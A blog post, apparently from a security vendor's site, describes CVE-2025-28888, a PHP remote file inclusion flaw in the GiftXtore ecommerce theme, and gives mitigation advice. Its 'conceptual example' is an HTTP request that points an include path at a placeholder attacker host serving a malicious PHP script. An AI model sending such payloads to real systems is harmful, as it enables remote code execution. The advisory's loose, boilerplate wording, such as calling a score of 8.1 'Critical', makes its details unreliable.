{"id":52240,"date":"2025-06-15T21:07:54","date_gmt":"2025-06-15T21:07:54","guid":{"rendered":""},"modified":"2025-10-05T23:20:33","modified_gmt":"2025-10-06T05:20:33","slug":"cve-2025-28888-critical-php-remote-file-inclusion-vulnerability-in-bzotheme-giftxtore","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28888-critical-php-remote-file-inclusion-vulnerability-in-bzotheme-giftxtore\/","title":{"rendered":"<strong>CVE-2025-28888: Critical PHP Remote File Inclusion Vulnerability in BZOTheme GiftXtore<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity world has recently been shaken by the discovery of a significant vulnerability, designated as CVE-2025-28888. This vulnerability affects BZOTheme GiftXtore, a widespread ecommerce solution. The flaw resides in the improper control of filename for Include\/Require Statement in PHP Program, which could allow an attacker to include local <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47586-php-remote-file-inclusion-vulnerability-in-stylemixthemes-motors-events\/\"  data-wpil-monitor-id=\"59938\">files through PHP Remote File Inclusion<\/a>. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5527-critical-vulnerability-exposing-potential-system-compromise-in-tenda-rx3\/\"  data-wpil-monitor-id=\"58692\">potentially lead to a system compromise<\/a> or data leakage, which could be devastating for any online business. This blog <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5671-critical-buffer-overflow-vulnerability-in-totolink-n302r-plus-http-post-request-handler\/\"  data-wpil-monitor-id=\"59524\">post will analyze and dissect this vulnerability<\/a>, providing helpful mitigation advice for those affected.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28888<br \/>\nSeverity: Critical (CVSS score of 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21469-memory-corruption-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"59045\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2562568036\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>BZOTheme GiftXtore | Up to and including 1.7.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>An attacker exploiting this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48911-improper-permission-assignment-vulnerability-in-note-sharing-modules\/\"  data-wpil-monitor-id=\"59439\">vulnerability would take advantage of the improper<\/a> control of filename for Include\/Require Statement in GiftXtore&#8217;s PHP program. By injecting a malicious file path into the PHP include\/require statement, the attacker could trigger remote file inclusion, which would allow them to execute arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32105-buffer-overflow-vulnerability-in-sangoma-img2020-http-server-leading-to-remote-code-execution\/\"  data-wpil-monitor-id=\"58545\">code on the server running the vulnerable<\/a> application. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21460-memory-corruption-vulnerability-in-guest-vm-buffer-processing-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"58999\">lead to a full system<\/a> compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2757530915\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability might be exploited. The malicious payload would include a path to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32106-unauthenticated-remote-code-execution-in-audiocodes-mediapack-mp-11x\/\"  data-wpil-monitor-id=\"58566\">remote file that contains arbitrary code<\/a>, which would be executed when the PHP include\/require statement is processed.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;include_path&quot;: &quot;http:\/\/malicious.example.com\/evil-script.php&quot; }<\/code><\/pre>\n<p><strong>Recommendations for Mitigation<\/strong><\/p>\n<p>It is highly recommended that users of GiftXtore apply the vendor-supplied <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49002-critical-vulnerability-in-dataease-bypassing-patch-for-cve-2025-32966\/\"  data-wpil-monitor-id=\"58900\">patch as soon as possible to mitigate this vulnerability<\/a>. If for any reason the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. These systems can be configured to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76403\">block or alert on attempts to exploit this vulnerability<\/a>.<br \/>\nPlease ensure to follow up on this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9364-critical-open-database-issue-resulting-in-potential-system-compromise\/\"  data-wpil-monitor-id=\"89055\">issue and apply the necessary updates to keep your systems<\/a> secure.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world has recently been shaken by the discovery of a significant vulnerability, designated as CVE-2025-28888. This vulnerability affects BZOTheme GiftXtore, a widespread ecommerce solution. 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